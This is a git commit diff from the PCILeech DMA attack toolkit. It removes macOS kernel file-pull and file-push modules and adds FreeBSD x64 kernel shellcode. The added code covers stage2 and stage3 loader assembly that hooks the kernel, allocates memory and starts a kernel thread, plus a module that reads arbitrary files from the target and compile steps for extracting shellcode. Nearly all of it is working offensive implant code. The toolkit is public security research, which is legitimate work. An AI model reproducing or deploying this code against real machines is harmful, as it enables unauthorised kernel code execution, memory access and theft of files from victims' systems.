Version 1.2

This commit is contained in:
ufrisk
2016-09-28 19:52:40 +02:00
parent 796949296e
commit ea2476b154
48 changed files with 1994 additions and 562 deletions

View File

@@ -1,94 +0,0 @@
// ax64_filepull.c : kernel code to pull files from target system.
// Compatible with Apple OS X.
//
// (c) Ulf Frisk, 2016
// Author: Ulf Frisk, pcileech@frizk.net
//
// Inspired by: http://www.phrack.org/papers/revisiting-mac-os-x-kernel-rootkits.html
//
// compile with:
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel ax64_common.c
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel ax64_filepull.c
// ml64.exe ax64_common_a.asm /Feax64_filepull.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main ax64_filepull.obj ax64_common.obj
// shellcode64.exe -o ax64_filepull.exe "PULL FILES FROM TARGET SYSTEM \nAPPLE OS X EDITION \n===============================================================\nPull a file from the target system to the local system. \nREQUIRED OPTIONS: \n -out : file on local system to write result to. \n filename is given in normal format. \n Example: '-out c:\temp\hosts' \n -s : file on target system. \n Example: '-s /etc/hosts' \n===== PULL ATTEMPT DETAILED RESULT INFORMATION ================\nFILE NAME : %s\nRESULT CODE : 0x%08X\n===============================================================\n"
//
#include "ax64_common.h"
typedef struct tdFN2 {
QWORD vnode_lookup;
QWORD vnode_put;
QWORD VNOP_READ;
QWORD uio_addiov;
QWORD uio_resid;
QWORD vfs_context_current;
QWORD uio_create;
QWORD uio_free;
} FN2, *PFN2;
BOOL LookupFunctions2(PKMDDATA pk, PFN2 pfn2) {
pfn2->vnode_lookup = LookupFunctionOSX(pk->AddrKernelBase,
(CHAR[]) {'_', 'v', 'n', 'o', 'd', 'e', '_', 'l', 'o', 'o', 'k', 'u', 'p', 0 });
pfn2->vnode_put = LookupFunctionOSX(pk->AddrKernelBase,
(CHAR[]) {'_', 'v', 'n', 'o', 'd', 'e', '_', 'p', 'u', 't', 0 });
pfn2->VNOP_READ = LookupFunctionOSX(pk->AddrKernelBase,
(CHAR[]) {'_', 'V', 'N', 'O', 'P', '_', 'R', 'E', 'A', 'D', 0 });
pfn2->uio_addiov = LookupFunctionOSX(pk->AddrKernelBase,
(CHAR[]) {'_', 'u', 'i', 'o', '_', 'a', 'd', 'd', 'i', 'o', 'v', 0 });
pfn2->uio_resid = LookupFunctionOSX(pk->AddrKernelBase,
(CHAR[]) {'_', 'u', 'i', 'o', '_', 'r', 'e', 's', 'i', 'd', 0 });
pfn2->vfs_context_current = LookupFunctionOSX(pk->AddrKernelBase,
(CHAR[]) {'_', 'v', 'f', 's', '_', 'c', 'o', 'n', 't', 'e', 'x', 't', '_', 'c', 'u', 'r', 'r', 'e', 'n', 't', 0 });
pfn2->uio_create = LookupFunctionOSX(pk->AddrKernelBase,
(CHAR[]) {'_', 'u', 'i', 'o', '_', 'c', 'r', 'e', 'a', 't', 'e', 0 });
pfn2->uio_free = LookupFunctionOSX(pk->AddrKernelBase,
(CHAR[]) {'_', 'u', 'i', 'o', '_', 'f', 'r', 'e', 'e', 0 });
for(QWORD i = 0; i < sizeof(FN2) / sizeof(QWORD); i++) {
if(!((PQWORD)pfn2)[i]) {
return FALSE;
}
}
return TRUE;
}
VOID c_EntryPoint(PKMDDATA pk)
{
FN2 fn2;
DWORD status = 0;
QWORD uio = 0, vnode = 0, vfs_current;
if(!pk->dataInStr[0]) {
pk->dataOut[0] = STATUS_FAIL_INPPARAMS_BAD;
return;
}
if(!LookupFunctions2(pk, &fn2)) {
pk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP;
return;
}
SysVCall(pk->fn.memcpy, pk->dataOutStr, pk->dataInStr, MAX_PATH);
vfs_current = SysVCall(fn2.vfs_context_current);
if(SysVCall(fn2.vnode_lookup, pk->dataInStr, 0, &vnode, vfs_current)) {
status = STATUS_FAIL_FILE_CANNOT_OPEN;
goto error;
}
uio = SysVCall(fn2.uio_create, 1 /* count iov */, 0 /* offset */, 2 /* kernel addr */, 0 /* read */);
if(SysVCall(fn2.uio_addiov, uio, pk->DMAAddrVirtual + pk->dataOutExtraOffset, pk->dataOutExtraLengthMax)) {
status = STATUS_FAIL_FILE_CANNOT_OPEN;
goto error;
}
if(SysVCall(fn2.VNOP_READ, vnode, uio, 0, vfs_current)) {
status = STATUS_FAIL_FILE_CANNOT_OPEN;
goto error;
}
pk->dataOutExtraLength = pk->dataOutExtraLengthMax - SysVCall(fn2.uio_resid, uio);
if(pk->dataOutExtraLength == pk->dataOutExtraLengthMax) {
status = STATUS_FAIL_FILE_SIZE;
goto error;
}
error:
if(uio) {
SysVCall(fn2.uio_free, uio);
}
if(vnode) {
SysVCall(fn2.vnode_put, vnode);
}
pk->dataOut[0] = status;
}

View File

@@ -1,86 +0,0 @@
// ax64_filepush.c : kernel code to push files to target system.
// Compatible with Apple OS X.
//
// (c) Ulf Frisk, 2016
// Author: Ulf Frisk, pcileech@frizk.net
//
// compile with:
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel ax64_common.c
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel ax64_filepush.c
// ml64.exe ax64_common_a.asm /Feax64_filepush.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main ax64_filepush.obj ax64_common.obj
// shellcode64.exe -o ax64_filepush.exe "PUSH FILES TO TARGET SYSTEM \nAPPLE OS X EDITION \n===============================================================\nPush a file from the local system to the target system. \nWARNING! Existing files will be overwritten! \n* Files created will be created with root/wheel as owner/group \n and get the access mask specified in the -0 parameter. \n* Files overwritten will keep the access mask and owner/group. \nREQUIRED OPTIONS: \n -in : file to push to target system from this system. \n filename is given in normal format. \n Example: '-in c:\temp\random.txt' \n -s : file on target system. \n Example: '-s /System/Library/Kernels/sip_bypass' \n -0 : file access mask in HEXADECIMAL OR DECIMAL FORMAT! \n NB! linux file masks are ususally typed in octal - \n -rwsr-xr-x 4755 (oct) = 2541 (decimal) = 0x9ed (hex) \n -rwxrwxrwx 777 (oct) = 511 (decimal) = 0x1ff (hex) \n Example: '-0 0x1ff' \n -1 : run flag - set to non zero to push file. \n===== PUSH ATTEMPT DETAILED RESULT INFORMATION ================\nFILE NAME : %s\nRESULT CODE : 0x%08X\n===============================================================\n"
//
#include "ax64_common.h"
#define CONFIG_MAX_FILESIZE 0x180000 // 1.5MB
typedef struct tdFN2 {
QWORD vnode_open;
QWORD vnode_close;
QWORD VNOP_WRITE;
QWORD uio_addiov;
QWORD uio_create;
QWORD uio_free;
QWORD vfs_context_current;
} FN2, *PFN2;
BOOL LookupFunctions2(PKMDDATA pk, PFN2 pfn2) {
pfn2->vnode_open = LookupFunctionOSX(pk->AddrKernelBase,
(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'o', 'p', 'e', 'n', 0 });
pfn2->vnode_close = LookupFunctionOSX(pk->AddrKernelBase,
(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'c', 'l', 'o', 's', 'e', 0 });
pfn2->VNOP_WRITE = LookupFunctionOSX(pk->AddrKernelBase,
(CHAR[]) { '_', 'V', 'N', 'O', 'P', '_', 'W', 'R', 'I', 'T', 'E', 0 });
pfn2->uio_addiov = LookupFunctionOSX(pk->AddrKernelBase,
(CHAR[]) { '_', 'u', 'i', 'o', '_', 'a', 'd', 'd', 'i', 'o', 'v', 0 });
pfn2->uio_create = LookupFunctionOSX(pk->AddrKernelBase,
(CHAR[]) { '_', 'u', 'i', 'o', '_', 'c', 'r', 'e', 'a', 't', 'e', 0 });
pfn2->uio_free = LookupFunctionOSX(pk->AddrKernelBase,
(CHAR[]) { '_', 'u', 'i', 'o', '_', 'f', 'r', 'e', 'e', 0 });
pfn2->vfs_context_current = LookupFunctionOSX(pk->AddrKernelBase,
(CHAR[]) { '_', 'v', 'f', 's', '_', 'c', 'o', 'n', 't', 'e', 'x', 't', '_', 'c', 'u', 'r', 'r', 'e', 'n', 't', 0 });
for(QWORD i = 0; i < sizeof(FN2) / sizeof(QWORD); i++) {
if(!((PQWORD)pfn2)[i]) {
return FALSE;
}
}
return TRUE;
}
VOID c_EntryPoint(PKMDDATA pk)
{
FN2 fn2;
DWORD status = 0;
QWORD uio = 0, vnode = 0, vfs_current;
if(!pk->dataInStr[0] || !pk->dataIn[0]) {
pk->dataOut[0] = STATUS_FAIL_INPPARAMS_BAD;
return;
}
if(!LookupFunctions2(pk, &fn2)) {
pk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP;
return;
}
SysVCall(pk->fn.memcpy, pk->dataOutStr, pk->dataInStr, MAX_PATH);
vfs_current = SysVCall(fn2.vfs_context_current);
if(SysVCall(fn2.vnode_open, pk->dataInStr, 0x0602 /* WRITE|CREATE|TRUNCATE */, pk->dataIn[0], 0, &vnode, vfs_current)) {
status = STATUS_FAIL_FILE_CANNOT_OPEN;
goto error;
}
uio = SysVCall(fn2.uio_create, 1 /* count iov */, 0 /* offset */, 2 /* kernel addr */, 1 /* write */);
if(SysVCall(fn2.uio_addiov, uio, pk->DMAAddrVirtual + pk->dataInExtraOffset, pk->dataInExtraLength)) {
status = STATUS_FAIL_FILE_CANNOT_OPEN;
goto error;
}
if(SysVCall(fn2.VNOP_WRITE, vnode, uio, 0, vfs_current)) {
status = STATUS_FAIL_FILE_CANNOT_OPEN;
goto error;
}
error:
if(uio) {
SysVCall(fn2.uio_free, uio);
}
if(vnode) {
SysVCall(fn2.vnode_close, vnode, 0x10000 /* descriptor written */, vfs_current);
}
pk->dataOut[0] = status;
}

View File

@@ -0,0 +1,8 @@
// fbsdx64_common.c : support functions used by FreeBSD KMDs started by stage3 EXEC.
// Compatible with FreeBSD x64.
//
// (c) Ulf Frisk, 2016
// Author: Ulf Frisk, pcileech@frizk.net
//
#include "fbsdx64_common.h"

View File

@@ -0,0 +1,70 @@
// fbsdx64_common.h : declarations of commonly used shellcode functions
// Compatible with FreeBSD x64.
//
// Author: Ulf Frisk, pcileech@frizk.net
//
#ifndef __FBSDX64_COMMON_H__
#define __FBSDX64_COMMON_H__
#include "statuscodes.h"
typedef void VOID, *PVOID;
typedef int BOOL, *PBOOL;
typedef unsigned char BYTE, *PBYTE;
typedef char CHAR, *PCHAR;
typedef unsigned short WORD, *PWORD;
typedef unsigned long DWORD, *PDWORD;
typedef unsigned __int64 QWORD, *PQWORD;
typedef void *HANDLE;
typedef unsigned long STATUS;
#define NULL ((void *)0)
#define MAX_PATH 260
#define TRUE 1
#define FALSE 0
/*
* KMD DATA struct. This struct must be contained in a 4096 byte section (page).
* This page/struct is used to communicate between the inserted kernel code and
* the pcileech program.
* VNR: 002
*/
typedef struct tdKMDDATA {
QWORD MAGIC; // [0x000] magic number 0x0ff11337711333377.
QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of kernel header (WINDOWS/MACOS).
QWORD AddrKallsymsLookupName; // [0x010] pre-filled by stage2, virtual address of kallsyms_lookup_name (LINUX).
QWORD DMASizeBuffer; // [0x018] size of DMA buffer.
QWORD DMAAddrPhysical; // [0x020] physical address of DMA buffer.
QWORD DMAAddrVirtual; // [0x028] virtual address of DMA buffer.
QWORD _status; // [0x030] status of operation
QWORD _result; // [0x038] result of operation TRUE|FALSE
QWORD _address; // [0x040] virtual address to operate on.
QWORD _size; // [0x048] size of operation / data in DMA buffer.
QWORD OperatingSystem; // [0x050] operating system type
QWORD ReservedKMD; // [0x058] reserved for specific kmd data (dependant on KMD version).
QWORD ReservedFutureUse1[20]; // [0x060] reserved for future use.
QWORD dataInExtraLength; // [0x100] length of extra in-data.
QWORD dataInExtraOffset; // [0x108] offset from DMAAddrPhysical/DMAAddrVirtual.
QWORD dataInExtraLengthMax; // [0x110] maximum length of extra in-data.
QWORD dataInConsoleBuffer; // [0x118] physical address of 1-page console buffer.
QWORD dataIn[28]; // [0x120]
QWORD dataOutExtraLength; // [0x200] length of extra out-data.
QWORD dataOutExtraOffset; // [0x208] offset from DMAAddrPhysical/DMAAddrVirtual.
QWORD dataOutExtraLengthMax; // [0x210] maximum length of extra out-data.
QWORD dataOutConsoleBuffer; // [0x218] physical address of 1-page console buffer.
QWORD dataOut[28]; // [0x220]
PVOID fn[32]; // [0x300] used by shellcode to store function pointers.
CHAR dataInStr[MAX_PATH]; // [0x400] string in-data
CHAR ReservedFutureUse2[252];
CHAR dataOutStr[MAX_PATH]; // [0x600] string out-data
CHAR ReservedFutureUse3[252];
QWORD ReservedFutureUse4[255]; // [0x800]
QWORD _op; // [0xFF8] (op is last 8 bytes in 4k-page)
} KMDDATA, *PKMDDATA;
extern QWORD SysVCall(QWORD fn, ...);
extern QWORD LookupFunctionFreeBSD(PKMDDATA pk, CHAR szFunctionName[]);
extern QWORD __curthread();
#define curthread (__curthread())
#endif /* __FBSDX64_COMMON_H__ */

View File

@@ -0,0 +1,140 @@
; fbsdx64_common_a.asm : assembly to receive execution from stage3 exec command.
; Compatible with FreeBSD x64.
;
; (c) Ulf Frisk, 2016
; Author: Ulf Frisk, pcileech@frizk.net
;
; -------------------------------------
; Prototypes
; -------------------------------------
main PROTO
LookupFunctionFreeBSD PROTO
SysVCall PROTO
EXTRN c_EntryPoint:NEAR
; -------------------------------------
; Code
; -------------------------------------
.CODE
main PROC
PUSH rsi
MOV rsi, rsp
AND rsp, 0FFFFFFFFFFFFFFF0h
SUB rsp, 020h
CALL c_EntryPoint
MOV rsp, rsi
POP rsi
RET
main ENDP
; ----------------------------------------------------
; TRIVIAL VERSION OF STRCMP
; destroyed registers :: <none>
; rdi -> ptr to str1
; rsi -> ptr to str2
; rax <- 0 == success, !0 == fail
; ----------------------------------------------------
strcmp_simple PROC
PUSH rcx
XOR rcx, rcx
DEC rcx
loop_strcmp:
INC rcx
MOV al, [rdi+rcx]
CMP al, [rsi+rcx]
JNE error
CMP al, 0
JNE loop_strcmp
XOR rax, rax
POP rcx
RET
error:
MOV al, 1
POP rcx
RET
strcmp_simple ENDP
; ----------------------------------------------------
; FIND EXPORTED SYMBOL IN BSD KERNEL
; destroyed registers :: rsi
; rcx -> PKMDDATA
; rdx -> rdi -> ptr to symbol/function str
; rax <- resulting address (zero if error)
; ----------------------------------------------------
LookupFunctionFreeBSD PROC
PUSH rdi
PUSH rsi
MOV rdi, rdx
MOV rcx, [rcx+58h] ; [PKMDDATA->ReservedKMD]
MOV rdx, rcx ; [PKMDDATA->ReservedKMD]
SUB rcx, 8
loop_symsearch:
SUB rcx, 18h
MOV rax, [rcx]
TEST rax, rax
JZ error
MOV esi, [rcx]
ADD rsi, rdx
CALL strcmp_simple
TEST rax, rax
JNZ loop_symsearch
MOV rax, [rcx+8]
POP rsi
POP rdi
RET
error:
XOR rax, rax
POP rsi
POP rdi
RET
LookupFunctionFreeBSD ENDP
; ------------------------------------------------------------------
; Convert from the Windows X64 calling convention to the SystemV
; X64 calling convention used by Linux. A maximum of twelve (12)
; parameters in addition to the function ptr can be supplied.
; QWORD SysVCall(QWORD fn, QWORD p1, QWORD p2, QWORD p3, QWORD p4, QWORD p5);
; QWORD SysVCall(QWORD fn, ...);
; ------------------------------------------------------------------
SysVCall PROC
MOV rax, rcx
PUSH rdi
PUSH rsi
PUSH r14
PUSH r15
MOV rdi, rdx
MOV rsi, r8
MOV rdx, r9
MOV rcx, [rsp+28h+4*8+00h] ; 20h stack shadow space + 8h (RET) + 4*8h PUSH + xxh offset
MOV r8, [rsp+28h+4*8+08h]
MOV r9, [rsp+28h+4*8+10h]
MOV r15, rsp
MOV r14, [rsp+28h+4*8+40h] ; 20h stack shadow space + 8h (RET) + 3*8h PUSH + xxh offset
PUSH r14
MOV r14, [rsp+28h+5*8+38h] ; 20h stack shadow space + 8h (RET) + 4*8h PUSH + xxh offset
PUSH r14
MOV r14, [rsp+28h+6*8+30h] ; 20h stack shadow space + 8h (RET) + 5*8h PUSH + xxh offset
PUSH r14
MOV r14, [rsp+28h+7*8+28h] ; 20h stack shadow space + 8h (RET) + 6*8h PUSH + xxh offset
PUSH r14
MOV r14, [rsp+28h+8*8+20h] ; 20h stack shadow space + 8h (RET) + 7*8h PUSH + xxh offset
PUSH r14
MOV r14, [rsp+28h+9*8+18h] ; 20h stack shadow space + 8h (RET) + 8*8h PUSH + xxh offset
PUSH r14
CALL rax
MOV rsp, r15
POP r15
POP r14
POP rsi
POP rdi
RET
SysVCall ENDP
__curthread PROC
MOV rax, gs:[0]
RET
__curthread ENDP
END

View File

@@ -0,0 +1,152 @@
// fbsdx64_filepull.c : kernel code to pull files from target system.
// Compatible with FreeBSD x64.
//
// (c) Ulf Frisk, 2016
// Author: Ulf Frisk, pcileech@frizk.net
//
// compile with:
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel fbsdx64_common.c
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel fbsdx64_filepull.c
// ml64 fbsdx64_common_a.asm /Felx64_filepull.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main fbsdx64_filepull.obj fbsdx64_common.obj
// shellcode64.exe -o fbsdx64_filepull.exe "PULL FILES FROM TARGET SYSTEM \nFreeBSD x64 EDITION \n===============================================================\nPull a file from the target system to the local system. \nREQUIRED OPTIONS: \n -out : file on local system to write result to. \n filename is given in normal format. \n Example: '-out c:\temp\hosts' \n -s : file on target system. \n Example: '-s /etc/hosts' \n===== PULL ATTEMPT DETAILED RESULT INFORMATION ================\nFILE NAME : %s\nRESULT CODE : 0x%08X\n===============================================================\n"
//
#include "fbsdx64_common.h"
#define LOOKUP 0
#define FOLLOW 0x0040
#define AT_FDCWD -100
#define FREAD 0x0001
#define FWRITE 0x0002
#define NDF_NO_FREE_PNBUF 0x00000020
#define NDF_ONLY_PNBUF (~NDF_NO_FREE_PNBUF)
#define IO_NODELOCKED 0x0008
enum uio_seg {
UIO_USERSPACE,
UIO_SYSSPACE,
UIO_NOCOPY
};
enum uio_rw {
UIO_READ,
UIO_WRITE
};
struct vattr {
QWORD _opaque1[4];
QWORD va_size;
QWORD _opaque2[32];
};
struct vop_getattr_args {
QWORD a_gen_a_desc;
QWORD a_vp;
QWORD a_vattr;
QWORD a_cred;
};
struct vop_unlock_args {
QWORD a_gen_a_desc;
QWORD a_vp;
QWORD a_flags;
};
struct nameidata {
QWORD _opaque1[12];
QWORD vnode;
QWORD _opaque2[32];
};
typedef struct tdFN2 {
QWORD NDINIT_ALL;
QWORD NDFREE;
QWORD VOP_GETATTR_APV;
QWORD VOP_UNLOCK_APV;
QWORD memcpy;
QWORD vn_close;
QWORD vn_open;
QWORD vn_rdwr;
QWORD vop_getattr_desc;
QWORD vop_unlock_desc;
} FN2, *PFN2;
BOOL LookupFunctions2(PKMDDATA pk, PFN2 pfn2) {
QWORD i = 0, NAMES[sizeof(FN2) / sizeof(QWORD)], *pfn_qw = (PQWORD)pfn2;
NAMES[i++] = (QWORD)(CHAR[]) { 'N', 'D', 'I', 'N', 'I', 'T', '_', 'A', 'L', 'L', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { 'N', 'D', 'F', 'R', 'E', 'E', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { 'V', 'O', 'P', '_', 'G', 'E', 'T', 'A', 'T', 'T', 'R', '_', 'A', 'P', 'V', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { 'V', 'O', 'P', '_', 'U', 'N', 'L', 'O', 'C', 'K', '_', 'A', 'P', 'V', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { 'm', 'e', 'm', 'c', 'p', 'y', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { 'v', 'n', '_', 'c', 'l', 'o', 's', 'e', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { 'v', 'n', '_', 'o', 'p', 'e', 'n', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { 'v', 'n', '_', 'r', 'd', 'w', 'r', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { 'v', 'o', 'p', '_', 'g', 'e', 't', 'a', 't', 't', 'r', '_', 'd', 'e', 's', 'c', 0 };
NAMES[i++] = (QWORD)(CHAR[]) { 'v', 'o', 'p', '_', 'u', 'n', 'l', 'o', 'c', 'k', '_', 'd', 'e', 's', 'c', 0 };
for(i = 0; i < sizeof(FN2) / sizeof(QWORD); i++) {
pfn_qw[i] = LookupFunctionFreeBSD(pk, (CHAR*)NAMES[i]);
if(!pfn_qw[i]) { return FALSE; }
}
return TRUE;
}
QWORD GetFileSize(PFN2 pfn2, QWORD vnode)
{
struct vop_getattr_args a;
struct vattr vattr;
a.a_gen_a_desc = pfn2->vop_getattr_desc;
a.a_vp = vnode;
a.a_vattr = (QWORD)&vattr;
a.a_cred = 0;
if(SysVCall(pfn2->VOP_GETATTR_APV, *(PQWORD)(vnode + 0x08) /* v_op is 2nd entry in vnode */, &a)) {
return 0;
}
return vattr.va_size;
}
VOID VOP_UNLOCK(PFN2 pfn2, QWORD vnode, QWORD flags)
{
struct vop_unlock_args a;
a.a_gen_a_desc = pfn2->vop_unlock_desc;
a.a_vp = vnode;
a.a_flags = flags;
SysVCall(pfn2->VOP_UNLOCK_APV, *(PQWORD)(vnode + 0x08) /* v_op is 2nd entry in vnode */, &a);
}
VOID c_EntryPoint(PKMDDATA pk)
{
FN2 fn2;
struct nameidata nd;
QWORD flags, fsize, error;
if(!pk->dataInStr[0]) {
pk->dataOut[0] = STATUS_FAIL_INPPARAMS_BAD;
return;
}
if(!LookupFunctions2(pk, &fn2)) {
pk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP;
return;
}
SysVCall(fn2.NDINIT_ALL, &nd, LOOKUP, FOLLOW, UIO_SYSSPACE, pk->dataInStr, AT_FDCWD, 0, 0, curthread);
flags = FREAD;
if(SysVCall(fn2.vn_open, &nd, &flags, 0, 0)) {
SysVCall(fn2.NDFREE, &nd, NDF_ONLY_PNBUF);
pk->dataOut[0] = STATUS_FAIL_FILE_CANNOT_OPEN;
return;
}
fsize = GetFileSize(&fn2, nd.vnode);
if(fsize == 0 || fsize > pk->dataOutExtraLengthMax) {
SysVCall(fn2.NDFREE, nd, NDF_ONLY_PNBUF);
pk->dataOut[0] = STATUS_FAIL_FILE_SIZE;
return;
}
error = SysVCall(fn2.vn_rdwr, UIO_READ, nd.vnode, (pk->DMAAddrVirtual + pk->dataOutExtraOffset), fsize, 0, UIO_SYSSPACE, IO_NODELOCKED, 0, 0, 0, curthread);
if(error) {
SysVCall(fn2.NDFREE, &nd, NDF_ONLY_PNBUF);
pk->dataOut[0] = STATUS_FAIL_FILE_READWRITE;
return;
}
pk->dataOutExtraLength = fsize;
VOP_UNLOCK(&fn2, nd.vnode, 0);
SysVCall(fn2.vn_close, nd.vnode, FREAD, 0, curthread);
SysVCall(fn2.memcpy, pk->dataOutStr, pk->dataInStr, MAX_PATH);
}

View File

@@ -0,0 +1,28 @@
# compile instructions for the FreeBSD x64 kernel module code
#
#================================ STAGE 1 ================================
#
# COMPILE ASM TO EXE (SAME CODE AS FOR WINDOWS)
ml64 wx64_stage1.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main
#
# EXTRACT SHELLCODE (shellcode saved as wx64_stage1.bin, c-ify by xxd -i wx64_stage1.bin)
shellcode64.exe -o wx64_stage1.exe
#
#================================ STAGE 2 ================================
#
# COMPILE ASM TO EXE
ml64 fbsdx64_stage2.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main
#
# EXTRACT SHELLCODE (shellcode saved as fbsdx64_stage2.bin, c-ify by xxd -i fbsdx64_stage2.bin)
shellcode64.exe -o fbsdx64_stage2.exe
#
#================================ STAGE 3 ================================
#
# COMPILE C CODE TO OBJ FILE
cl.exe /O1 /Os /Oy /FD /MT /Zp1 /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel fbsdx64_stage3_c.c
#
# COMPILE ASM AND LINK C OBJ FILE TO EXE
ml64 fbsdx64_stage3.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main "fbsdx64_stage3_c.obj"
#
# EXTRACT SHELLCODE (shellcode saved as fbsdx64_stage3.bin, c-ify by xxd -i fbsdx64_stage3.bin)
shellcode64.exe -o fbsdx64_stage3.exe

View File

@@ -0,0 +1,197 @@
; fbsdx64_stage2.asm : assembly to receive execution from stage1 shellcode.
; Compatible with FreeBSD x64.
;
; (c) Ulf Frisk, 2016
; Author: Ulf Frisk, pcileech@frizk.net
;
.CODE
main PROC
; ----------------------------------------------------
; 1: INITIAL OP AND VARIABLE MEMORY LOCATIONS
; ----------------------------------------------------
JMP main_start
data_cmpxchg_flag db 00h
data_filler db 00h
data_phys_addr_alloc dd 00000000h ; 4 bytes offset (4 bytes long)
data_orig_code dq 0000000000000000h ; 8 bytes offset (8 bytes long)
data_offset_strtab dd 00000000h ; 16 bytes offset (4 bytes long)
; ----------------------------------------------------
; 2: SAVE ORIGINAL PARAMETERS
; ----------------------------------------------------
main_start:
POP rax
SUB rax, 5
PUSH rax
PUSH rdi
PUSH rsi
PUSH rdx
PUSH rcx
PUSH r8
PUSH r9
PUSH r12
PUSH r13
PUSH r14
; ----------------------------------------------------
; 3: RESTORE ORIGNAL (8 bytes)
; ----------------------------------------------------
MOV rdx, [data_orig_code]
MOV [rax], rdx
; ----------------------------------------------------
; 4: ENSURE ATOMICITY IN THREADED ENVIRONMENTS
; ----------------------------------------------------
MOV al, 00h
MOV dl, 01h
LEA rcx, data_cmpxchg_flag
LOCK CMPXCHG [rcx], dl
JNE skipcall
; ----------------------------------------------------
; 5: SET UP PARAMETERS AND CALL C CODE
; r12: tmp 1 (virt addr)
; r13: tmp 2 (phys addr)
; r14: addr to strtab
; ----------------------------------------------------
MOV eax, [data_offset_strtab]
LEA r14, main
ADD r14, rax
CALL setup
; ----------------------------------------------------
; 6: RESTORE AND JMP BACK
; ----------------------------------------------------
skipcall:
POP r14
POP r13
POP r12
POP r9
POP r8
POP rcx
POP rdx
POP rsi
POP rdi
RET
main ENDP
setup PROC
; ----------------------------------------------------
; 1: ALLOCATE 2 PAGES OF CONTIGUOUS MEMORY
; ----------------------------------------------------
LEA rdi, data_str_vm_phys_alloc_contig
CALL LookupFunctionBSD
XOR r8, r8 ; border = 0
MOV ecx, 1000h ; alignment
MOV edx, 80000000h ; max phys addr
XOR rsi, rsi ; min phys addr = 0
MOV edi, 2 ; 2 pages
CALL rax
MOV r13, [rax+8*6] ; vm_page_t -> phys addr
; ----------------------------------------------------
; 2: VIRT ADDR = FFFFF80000000000 + PHYS ADDR
; ----------------------------------------------------
MOV r12, 0FFFFF80000000000h
ADD r12, r13
; ----------------------------------------------------
; 3: ZERO MEMORY AND COPY INITIAL LOOP
; ----------------------------------------------------
MOV rdi, r12
CALL clear_8k
MOV rax, 048FFFFFFF1058D48h
MOV [r12+1000h], rax
MOV rax, 0F07400F88348008Bh
MOV [r12+1008h], rax
; ----------------------------------------------------
; 4: START KERNEL THREAD
; ----------------------------------------------------
LEA rdi, data_str_kthread_start
CALL LookupFunctionBSD
PUSH 0
MOV edi, 1000h
ADD rdi, r12
PUSH rdi
LEA rdi, data_str_pcileech
PUSH rdi
MOV rdi, rsp
CALL rax
POP rax
POP rax
POP rax
; ----------------------------------------------------
; 5: WRITE BACK PHYSICAL ADDRESS
; ----------------------------------------------------
MOV [r12+58h], r14 ; Addr StrTab -> KMDDATA.ReservedKMD
MOV [data_phys_addr_alloc], r13d
MOV [data_filler], 66h ; DEBUG
RET
setup ENDP
; ----------------------------------------------------
; FIND EXPORTED SYMBOL IN BSD KERNEL
; destroyed registers :: rsi
; rdi -> ptr to symbol str
; rax <- resulting address (zero if error)
; ----------------------------------------------------
LookupFunctionBSD PROC
MOV rcx, r14
SUB rcx, 8
loop_symsearch:
SUB rcx, 18h
MOV rax, [rcx]
TEST rax, rax
JZ error
MOV esi, [rcx]
ADD rsi, r14
CALL strcmp_simple
TEST rax, rax
JNZ loop_symsearch
MOV rax, [rcx+8]
RET
error:
XOR rax, rax
RET
LookupFunctionBSD ENDP
; ----------------------------------------------------
; TRIVIAL VERSION OF STRCMP
; destroyed registers :: <none>
; rdi -> ptr to str1
; rsi -> ptr to str2
; rax <- 0 == success, !0 == fail
; ----------------------------------------------------
strcmp_simple PROC
PUSH rcx
XOR rcx, rcx
DEC rcx
loop_strcmp:
INC rcx
MOV al, [rdi+rcx]
CMP al, [rsi+rcx]
JNE error
CMP al, 0
JNE loop_strcmp
XOR rax, rax
POP rcx
RET
error:
MOV al, 1
POP rcx
RET
strcmp_simple ENDP
; ----------------------------------------------------
; CLEAR 8K OF MEMORY
; destroyed registers :: rcx
; rdi -> starting address
; ----------------------------------------------------
clear_8k PROC
XOR rax, rax
MOV ecx, 1024
CLD
REP STOSQ [rdi]
RET
clear_8k ENDP
data_str_vm_phys_alloc_contig db 'vm_phys_alloc_contig', 0
data_str_kthread_start db 'kthread_start', 0
data_str_pcileech db 'pcileech', 0
END

View File

@@ -0,0 +1,206 @@
; fbsdx64_stage3.asm : assembly to receive execution from stage2 shellcode.
; Compatible with FreeBSD x64.
;
; (c) Ulf Frisk, 2016
; Author: Ulf Frisk, pcileech@frizk.net
;
EXTRN stage3_c_EntryPoint:NEAR
.CODE
main PROC
; ----------------------------------------------------
; 1: SAME INITIAL BYTE SEQUENCE AS wx64_stage3_pre.asm
; ----------------------------------------------------
label_main_base:
LEA rax, label_main_base-8h
MOV rax, [rax]
CMP rax, 0
JZ label_main_base
; ----------------------------------------------------
; 2: CALL C CODE
; ----------------------------------------------------
